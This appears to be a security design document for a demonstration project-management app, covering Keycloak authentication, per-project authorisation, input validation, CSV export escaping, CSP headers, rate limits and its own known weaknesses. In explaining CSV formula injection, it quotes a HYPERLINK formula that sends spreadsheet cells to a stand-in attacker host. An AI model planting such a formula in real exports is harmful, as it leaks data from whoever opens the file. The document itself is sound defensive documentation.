This document describes how Visual Project Manager handles identity, authorisation and untrusted input, and at the end what it does not handle. The second list matters more than the first. A security document that only lists strengths is a marketing page.
Status: this began as a classroom brief and was rebuilt on a different stack. It has never held anybody's real data. Where a public instance is running it is a demonstration: it holds the seeded plan and nothing else, its sign-in credentials are printed in the README on purpose, and a job every six hours restores both the plan and the realm settings. Several decisions below are correct for that setting and would need revisiting before this held data belonging to anyone; each one says so where it applies.
If you find a vulnerability, open a GitHub issue describing it. There is no embargo process and nothing to coordinate: any instance you can reach holds seeded demonstration data and no account belonging to anyone, so there is nobody to warn first.
Two systems, and the split between them is the main design decision.
Keycloak establishes who you are. It owns passwords, registration, password reset, brute-force lockout and the tokens. The application never sees a password, has no login form of its own, and has no code that could leak one.
The application decides what you may do. Project membership and roles live in its own database, not in the token.
Putting roles in the token was the obvious alternative and it is worse
here. Membership changes far more often than identity does, and a token
carrying role: OWNER stays valid until it expires, so removing somebody
from a project would leave them able to administer it for up to fifteen
minutes. It also means every membership change forces a token refresh, and
scales the token with the number of projects a person belongs to.
Keycloak Application
──────── ───────────
who you are ─ token ─▶ which projects you are in
passwords what your role is in each one
sessions whether this action is allowed
lockout
OpenID Connect, Authorization Code with PKCE. The Angular client is a public client with no secret, because a secret in a browser bundle is readable by anyone who opens the developer tools. It is not a secret, it is a string. PKCE replaces it with a per-request proof that only the tab which started the flow can produce.
The issuer is checked, not just the signature. The backend addresses
Keycloak by two URLs: it fetches signing keys over the compose network
(http://keycloak:8080) and validates the iss claim against the public
address the browser used (http://localhost:8081). Validating against the
internal address would reject every real token; skipping the check
entirely would accept tokens minted by any realm on that server. See
SecurityConfig.jwtDecoder.
A token with no sub claim is rejected outright. Not defensive
padding: Spring Data turns a null parameter into WHERE keycloak_sub IS NULL, which matches every not-yet-linked row. A token without a subject
would silently adopt somebody else's account, and the next one would adopt
it in turn. CurrentUser.require() throws instead.
An invited account is claimed only on a verified address. Somebody
invited by email before they have ever signed in gets a placeholder row,
and the first matching login adopts it: that is what turns an invitation
into a working account instead of a duplicate. The matching has to be on
email_verified, because registration is open. Without that condition the
sequence is short and complete: learn that an address has been invited as
an owner, register with it, sign in once, and the project is yours. The
realm sets verifyEmail as well, so the two agree rather than one relying
on the other.
Access tokens last fifteen minutes and are renewed silently in the background from a refresh token. A rejected token sends the person back to Keycloak rather than showing them an error they cannot act on.
The Authorization header is attached by URL, not to everything. The interceptor adds it only to requests aimed at this application's own API. An interceptor that added it unconditionally would also send the access token to Keycloak's token endpoint and to any third-party service the app later talked to.
Every rule is enforced on the service layer, one step closer to the data than the controller, so it still applies if a second controller, a scheduled job or a test calls in.
@PreAuthorize("@access.canEdit(#projectId)")
public TaskResponse update(Long projectId, Long id, TaskRequest request)| Role | Read the plan | Change the plan | Rename, delete, manage people |
|---|---|---|---|
OWNER |
✓ | ✓ | ✓ |
EDITOR |
✓ | ✓ | ✗ |
VIEWER |
✓ | ✗ | ✗ |
Anyone may remove themselves from a project regardless of role; see
ProjectAccess.canRemoveMember. A project cannot be left without an
owner, which is refused for departures and demotions alike.
A non-member asking for project 7 gets 404 Not Found, not 403 Forbidden. A 403 confirms that project 7 exists, and an id that answers
differently for members and strangers is an enumeration oracle: walk the
integers and you learn how many projects the system holds and which ids
are live.
A member who lacks the role for an action does get a 403, with the reason. They already know the project exists, and hiding why the button did nothing would only leave them guessing.
Every task lookup is by id and project:
repository.findByIdAndProjectIdAndDeletedAtIsNull(id, projectId)A task id guessed from another project does not resolve, and the caller learns nothing about whether it exists elsewhere. The same pairing means a dependency edge can never be made to reach across into another plan.
Assignment is checked the same way. assignee_id accepts only a user who
is a member of that project. Otherwise the column would be a way to attach
a stranger's account to your plan, and their name would then be read back
out of the task list by everybody in it. The schema cannot express that
rule: its foreign key says "some user", and what is needed is "a member of
this project".
Bean Validation on the DTO, CHECK constraints in the schema. Both, on
purpose: the annotations turn bad input into a readable 400, and the
constraints are the line nobody can bypass, not by an application bug, not
by a manual INSERT, not by a future second writer.
Colour is matched against ^#[0-9A-Fa-f]{6}$ before it is stored. That
value ends up in an inline style attribute on the Gantt bars, so it is
the one field where unvalidated input would reach a rendering context
directly.
Mass assignment is prevented by the shape of the DTO. TaskRequest
has no id, no projectId and no timestamps. There is no binder to
configure and no field to forget to exclude, because the fields do not
exist.
Angular escapes interpolated values by default, and this application
never uses bypassSecurityTrustHtml or innerHTML.
A write must name the version it was built from. expectedVersion is
required on update, so there is no unconditional write and no way to get
last-write-wins by leaving a field out. It was optional once, which made
the protection a convention. @Version puts the same number in the
UPDATE's WHERE clause, so the database refuses a stale write even if
the service layer is changed to stop checking.
Adding a dependency takes the project's lock first. The cycle check is check-then-act: ask whether an edge closes a loop, then insert it. Two requests adding opposite edges at the same moment both pass a check made against a graph neither has changed, and the result is a cycle that leaves the plan with no topological order and the critical path answering 409 on every read. A transaction-scoped advisory lock, keyed by project, serialises just that.
Errors are RFC 9457 Problem Details, in one shape across the whole API, including the 429 that a servlet filter writes by hand because a filter never reaches the exception handler.
Stack traces, exception messages and SQL fragments do not reach clients:
server.error.include-stacktrace: never
server.error.include-message: neverActuator exposes health and nothing else. The other endpoints publish
configuration, beans and environment variables.
The CSV export is an output path with a genuine injection surface, and it is worth being explicit about because it does not look like one.
A cell whose text begins with =, +, - or @ is a formula to
Excel, Google Sheets and LibreOffice alike. So a task titled
=HYPERLINK("https://attacker.example/?d="&A1&A2,"Click for the report")
is inert everywhere in this application, where Angular escapes it and the schedule shows it as text. It becomes executable the moment somebody exports the plan and opens the file. The route runs from data one project member can type to a spreadsheet another member opens on their own machine, which is the part that makes it worth defending rather than shrugging at.
escapeCell in core/export.ts prefixes any such value with an
apostrophe, the mitigation those three applications all understand as "the
rest is text". Numbers never pass through it, so a negative figure stays a
number. RFC 4180 quoting is applied on top and separately: quoting alone
is not a defence, because a spreadsheet strips the CSV quoting before it
decides what the cell means.
The iCal export has no equivalent hazard, because no calendar client evaluates the text of an event. Its escaping is about parse integrity rather than execution: an unescaped newline or semicolon ends a property early and the remainder is read as a content line of its own, which turns a task description into a malformed import.
Both files are written in the browser from data the caller already has, so
neither adds new access; the concern is entirely about what happens to
them after they are saved. export.spec.ts pins all four spreadsheet
prefixes.
Two servers answer requests here and they need different things.
The API takes Spring Security's defaults, which are right: nosniff,
X-Frame-Options: DENY, and Cache-Control: no-store on everything.
X-XSS-Protection is deliberately 0, because the legacy auditor it
enabled introduced vulnerabilities of its own.
The application is static files behind nginx, and until recently sent
nothing at all. It is the half that renders HTML and holds the tokens, so
it is the half where headers matter most. frontend/security-headers.conf
now carries them, and the policy is:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data:;
connect-src 'self' http://localhost:8080 http://localhost:8081;
frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'
plus nosniff, X-Frame-Options: DENY,
Referrer-Policy: strict-origin-when-cross-origin, a Permissions-Policy
that denies every device this application does not use, and
server_tokens off.
script-src 'self' is the one worth having, and it is the one that took
work. Angular's critical-CSS inliner shipped the stylesheet as
<link media="print" onload="this.media='all'"> with the plain link only
inside <noscript>, which makes an inline event handler the only path by
which a scripted browser receives any CSS. A strict script-src blocks it
and the application renders unstyled.
optimization.styles.inlineCritical: false in angular.json is what
makes the directive possible, and it is there for that reason alone.
style-src keeps 'unsafe-inline'. Angular injects component styles as
<style> elements at runtime, so without a nonce they are inline styles,
and a nonce would have to be minted per response and substituted into both
the header and an ngCspNonce attribute. A server handing out static
files is the wrong shape for that, and it would mean index.html could
never be cached. The trade is deliberate rather than overlooked:
CSS injection leaks a little through selectors, script injection does
anything at all, and the strictness is spent where it buys the most. The
chart's [style.background] bindings need no exception either way, since
Angular writes those through the CSSOM, which style-src does not govern.
connect-src names the API and Keycloak, and is substituted at container
start from the same two environment variables that produce config.json.
That is deliberate rather than convenient: a policy and an application
that disagree about where the API lives fail in the least useful way
available, with every request blocked, nothing in the server log, and the
reason only in the browser console. Deriving both from one value removes
the possibility rather than documenting it.
All three used to be written by hand, and all three said localhost, so the image was correct on the machine that built it and nowhere else.
One nginx detail, because it is the sort that fails silently: add_header
inside a location replaces the inherited set rather than extending
it. The add_header Cache-Control on hashed assets would therefore have
stripped every security header from precisely the scripts and stylesheets
that most need nosniff. The headers are a separate file included from
both locations, and deliberately not in conf.d/, which nginx globs into
the http block and which would have sent every header three times.
Verified against the built image: the headers arrive once each, assets carry them alongside the cache header, and the application renders with its own typography and colours and no console violation.
CSRF protection is off, deliberately. The attack needs a credential
the browser attaches automatically, which means a cookie. This API
authenticates with a Bearer header that a cross-site form cannot set, so
there is nothing to forge. If the client ever moves to cookie-based
sessions, this must come back on, and the comment in SecurityConfig
says so at the point where it would be changed.
CORS allows exactly one origin, from configuration, defaulting to the
development frontend. Not a wildcard, and not reflected from the Origin
header.
Writes are rate limited; reads are not. A token bucket per caller, 120 writes a minute, refilling continuously. Reads cost a query and are what a person does by having the page open, and a limit low enough to stop abusive reading would interrupt somebody switching between the schedule and the chart. Writes are what grow the database and set dependency and critical-path recalculation going.
Buckets are keyed by the token's subject, not by IP, so an office behind one NAT address does not share a single allowance. Refill is greedy rather than by interval: an interval refill lets a caller drain the bucket, wait for the boundary and drain it again, which is twice the intended rate.
There are ceilings as well as a rate, because the two answer different questions and only one of them was being asked. 120 writes a minute is a limit on how fast; the answer to how much was "for ever". One account at that rate adds roughly a hundred and seventy thousand rows a day and never stops, and with open registration that account costs an email address. Separately harmless, together a way to fill a disk.
So: 2000 tasks per project, 100 members per project, 100 projects per person, all configuration and all set far above anything honest. Two details are load-bearing. Membership is counted rather than ownership, because counting what somebody created is walked around by making a project, handing it over and making another. And the members ceiling is checked before the user lookup, so a refused invitation is not a way of writing rows into the users table for arbitrary addresses.
The task ceiling counts live rows only. Counting soft-deleted ones would mean a project that reached the limit could never get back under it, and deleting a task is the only remedy the interface offers.
Password brute force is Keycloak's job: five failures, temporary lockout, up to fifteen minutes, no permanent lockout (which is itself a denial-of-service vector against a known username).
The direct access grant is off. directAccessGrantsEnabled: false on
vpm-frontend, so username and password cannot be exchanged for a token
directly; the only way in is the browser flow with PKCE. This is worth
stating because the running instance and the committed realm had drifted
apart on exactly this point, and the file is the one anybody reads.
Re-importing the realm is what makes them agree, and there is no
mechanism here that keeps them agreeing.
Refresh tokens rotate. revokeRefreshToken with
refreshTokenMaxReuse at 0, so each refresh mints a new token and spends
the old one, and presenting a spent one revokes the session. The weakness
list below explains what that is worth and what it is not.
There are none in this repository.
.env and .env.example hold development values for containers listening
on localhost: vpm_local_dev, admin. They protect nothing that is
reachable from anywhere else, and the file says so. Real deployments would
take these from the platform's environment and from GitHub Secrets.
The Angular client has no secret to leak, by design (see PKCE above).
These are real and unfixed. Several are the consequence of decisions taken deliberately; all of them would need addressing before this held data that mattered.
1. Tokens live in sessionStorage, so script running on this origin can
read them. They are cleared when the tab closes and are not shared
between tabs, which is why sessionStorage and not localStorage.
The mitigation usually named for this, an httpOnly cookie, does not
change the outcome. Script on the origin does not need to read a cookie,
because the browser attaches it to the requests that script makes. Under
either arrangement, script on the origin has the signed-in caller's
authority.
What the storage does decide is portability. A token in sessionStorage
is a string that can be copied elsewhere and replayed from anywhere; a
token in an httpOnly cookie can only be used from the browser holding
it. That is a real difference and a smaller one than it is usually given
credit for.
Three settings bound how long a copied token stays useful:
- the access token expires after 900 seconds;
- the refresh token is bound to the Keycloak session rather than being an
offline token, so it ends when the session does. This is why the OIDC
library warns at startup about the missing
offline_accessscope; adding that scope would issue a token which outlives sign-out, so the warning stays; ssoSessionIdleTimeoutis 1800 seconds, so a refresh token stops working half an hour after the session goes quiet.
A fourth setting bounds it, and this one is aimed at portability rather
than at time. revokeRefreshToken is on with refreshTokenMaxReuse at 0,
so a refresh token is invalidated at its first use and the whole chain is
revoked if it is presented twice. A copied token replayed from elsewhere
therefore collides with the client it was copied from: whichever refreshes
second presents a spent one, and the session ends. It does not stop script
on this origin, which can refresh in place and keep the new pair. What it
stops is a token walking out of the browser and staying useful.
Rotation needs the client to hold exactly one refresh in flight, since
with no reuse allowed a second concurrent attempt would revoke a live
session. That is the library's job here rather than this application's:
PeriodicallyTokenCheckService refuses to start a renew while one is
running, sets the flag before the request and clears it afterwards, with a
timeout for a process that dies mid-flight. The interceptor never
refreshes at all; a 401 sends the person back to Keycloak. And
sessionStorage is per tab, so two tabs hold two independent chains
rather than competing over one.
One thing is not in place. The structural alternative, a
backend-for-frontend holding the refresh token in an httpOnly cookie, is
not here; it would also bring CSRF protection back into scope. That is a
decision rather than an oversight, and runtime-config.ts says so at the
point where the storage is configured.
2. Rate-limit buckets are in memory, per instance. Two instances behind a load balancer mean two allowances. A restart forgives everybody. Acceptable for a burst limit; it would not be for a quota. A shared store (Redis, or Bucket4j's JDBC backend) is the fix.
3. The development stack is not hardened, and is not meant to be.
start-dev disables the HTTPS requirement, the bootstrap administrator is
admin/admin from docker-compose.yml, registration is open, and five
ports are published on the host. Every one of those is right for a laptop
and wrong on the internet.
They are not left to be remembered. docker-compose.prod.yml overlays the
lot: start instead of start-dev, sslRequired at external, no
published port but Caddy's, every secret required with no default so the
stack refuses to come up rather than come up weak, and registration and
password reset switched off because the four demo accounts are the way in
and Mailpit is not reachable. The realm changes are applied by the seed
script rather than baked into realm-export.json, so the committed realm
stays the one a developer wants.
What that leaves is a public instance whose sign-in credentials are printed in a README, on purpose. It survives because those accounts can reach nothing but their own demo project, because the creation ceilings bound what anybody can add, and because a timer every six hours puts the plan back and re-asserts the realm settings. Configuration applied once drifts.
4. Inviting somebody tells you whether their address has an account.
POST /projects/{id}/members answers with signedUp and, for an address
that already exists, that person's real display name rather than the email
that was submitted. So anybody who can create a project, which with open
registration is anybody at all, can test an arbitrary address and learn
both whether it is registered here and who it belongs to.
It is not patched, and the reason is worth stating rather than papering over with a changed response body. The disclosure is inherent to invitation without consent: the member list shows the same name a moment later, so hiding it in the one response would be theatre. The real fix is an invitation the invitee accepts, with the membership pending and the identity unrevealed until they do, and that is a feature rather than a patch. Slack, Notion and Linear all behave the way this does, which explains the choice without excusing it. The ceilings above bound how far the enumeration scales; they do not close it.
On the public instance the same feature has a second consequence, and this
one is about the invitee rather than the inviter. The row it writes holds a
real address belonging to somebody who never came here, entered by a
stranger. What bounds it is the reset: the seed deletes every account with
no keycloak_sub and no membership, which is exactly an invitation nobody
took up, so such a row survives at most six hours. That is why the timer
runs four times a day rather than once, and why the instance carries a
privacy notice saying so where the people concerned would look for it. It
bounds the exposure. It does not make it consented.
What used to sit on the end of this was worse than disclosure, and is
fixed. Provisioning claims a placeholder row by email, so an invitation
was inheritable by whoever presented the address; with registration open,
that meant reading who had been invited and then registering as them. It
now claims a row only on a verified address, and the realm sets
verifyEmail. An unverified token meeting a placeholder is refused rather
than being given a second row, because the address is unique and the
alternative was a 500 with no explanation. PlaceholderClaimIT pins all
three paths.
5. The demo seed writes directly to the database. scripts/demo/
takes the Keycloak bootstrap admin and a database container name and
bypasses the API entirely. That is the only way to seed a history with
dates in the past, and also why it must never be pointed at anything real.
6. The audit log is append-only by convention, not by grant. Nothing
in the application deletes or updates a row in audit_log, and no
endpoint exposes a way to. But the application's database user is the
owner of the table and could. A real tamper-evident log needs either a
restricted grant or somewhere the application cannot write at all.
7. Soft-deleted tasks are kept forever. deleted_at is set and the row
stays, deliberately: it is what keeps dependency references and history
readable. There is no retention policy, and under GDPR "we keep it
indefinitely because it was convenient" is not one of the lawful bases.
8. Four advisories in the dependency tree, two moderate and two high
as of the last npm audit. All four (undici, hono, fast-uri) arrive
through @angular/build and @angular/cli, which are devDependencies:
they are part of the build toolchain and none of them reaches the shipped
bundle. They are worth tracking and are not worth forcing a resolution
over, which would pin transitive versions the Angular CLI has not tested
against.
No secrets scanning, no SAST in CI, no dependency auto-update bot, no signed commits, no SBOM. All four are reasonable things to add and none of them was going to teach me anything about this application that reading it would not. They are the first things I would add if it were going to be deployed.